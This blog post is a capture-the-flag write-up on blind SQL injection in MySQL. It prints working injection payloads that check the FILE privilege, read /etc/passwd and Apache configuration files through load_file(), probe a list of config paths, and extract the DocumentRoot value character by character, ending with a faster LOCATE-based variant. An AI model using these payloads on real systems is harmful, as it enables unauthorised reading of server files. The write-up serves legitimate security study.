Blind SQL injection with load_file()

October 1, 2010

Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid ;).

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.


Follow

Get every new post delivered to your Inbox.

Join 75 other followers